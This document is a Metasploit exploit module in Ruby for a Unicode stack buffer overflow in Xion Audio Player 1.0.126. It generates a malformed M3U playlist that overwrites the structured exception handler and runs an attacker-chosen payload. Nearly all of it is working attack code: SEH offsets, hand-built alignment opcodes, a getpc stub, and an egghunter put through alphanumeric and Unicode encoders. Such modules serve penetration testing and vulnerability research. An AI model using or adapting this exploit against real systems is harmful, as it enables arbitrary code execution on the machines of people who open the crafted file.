Xion Audio Player 1.0.126 - Unicode Stack Buffer Overflow (Metasploit)

##
# $Id: xion_m3u_sehbof.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Egghunter
	#include Msf::Exploit::Seh # unused due to special circumstances

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow',
			'Description' 	=> %q{
					This module exploits a stack buffer overflow in Xion Audior Player prior to version
				1.0.126. The vulnerability is triggered when opening a malformed M3U file that
				contains an overly long string. This results in overwriting a
				structured exception handler record.
			},
			'License'	=> MSF_LICENSE,
			'Version'	=> "$Revision: 11353 $",
			'Author'	=>
				[
					'hadji samir <s-dz [at] hotmail.fr>',  # Discovered the bug
					'corelanc0d3r',     # First working exploit
					'digital1',         # First working exploit
					'jduck',            # Alpha+Unicode encoding :-/
					'm_101'             # Original and msf exploit
				],
			'References'     =>
				[
					#[ 'CVE', '' ],
					[ 'OSVDB', '66912'],
					[ 'URL', 'http://www.exploit-db.com/exploits/14517' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/14633' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/15598' ]
				],
			'Payload'	=>
				{
					'BadChars'	=>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EDI',  # egghunter jmp edi
						}
				},
			'Platform'	=> 'win',
			'Targets'	=>
				[
					[ 'Xion Audio Player v1.0.126 XP Universal', { 'Offset' => 252, 'Ret' => "\x51\x43" } ]  #unicode p/p/r equivalent xion.exe
				],
			'DisclosureDate' => 'Nov 23 2010',
			'DefaultTarget'	=> 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The output filename.', 'm_101_xion.m3u']),
				# seh offset depends on path length
				OptString.new('TARGETPATH', [ false, 'The target output.', 'C:\\'])
			], self.class)
	end

	def exploit
		# seh chain
		# 5b            pop ebx
		# 00 43 00      add byte [ebx], al
		nseh = "\x5b\x43"
		# 51            push ecx
		# 00 43 00      add byte [ebx], al
		seh = target['Ret']

		# 37            aaa                     ; clear al bit 4 to 7
		# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
		# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
		# 39 00         cmp dword [eax], eax
		ecx = "\x37\x38"
		eax = "\x41\x39"

		# alignment code
		# 5a            pop edx
		# 00 43 00      add byte [ebx], al
		align = "\x5a\x43" * 2
		# 5c            pop esp
		# 00 43 00      add byte [ebx], al
		align += "\x5c\x43"
		# 61            popad
		# 00 41 00      add byte [ecx], al
		align += "\x61\x41"
		# junk code just for alignment
		# 37            aaa                     ; clear al bit 4 to 7
		# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
		# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
		# 39 00         cmp dword [eax], eax
		align << ecx
		align << eax

		hunter, egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		# Encode with alphamixed, then unicode mixed
		# thanks to jduck for this egghunter code snippet
		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
			enc = framework.encoders.create(name)
			if name =~ /unicode/
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
			else
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
			end
			# NOTE: we already eliminated badchars
			hunter = enc.encode(hunter, nil, nil, platform)
			if name =~/alpha/
				#insert getpc_stub & align EDX, unicode encoder friendly.
				#Hardcoded stub is not an issue here because it gets encoded anyway
				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
				hunter = getpc_stub + hunter
			end
		}
		#tweak hunter, patched to make it write to ECX
		hunter[1] = "a"

		# care must be taken : depends on PATHLEN
		seh_offset = 266 - datastore['TARGETPATH'].length
		sploit = rand_text_alphanumeric(seh_offset)
		# seh chain
		sploit << nseh << seh
		sploit << align
		sploit << hunter
		sploit << egg
		# if not long enough, it won't trigger the seh
		sploit << rand_text_alphanumeric(4000 - sploit.length)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)
	end
end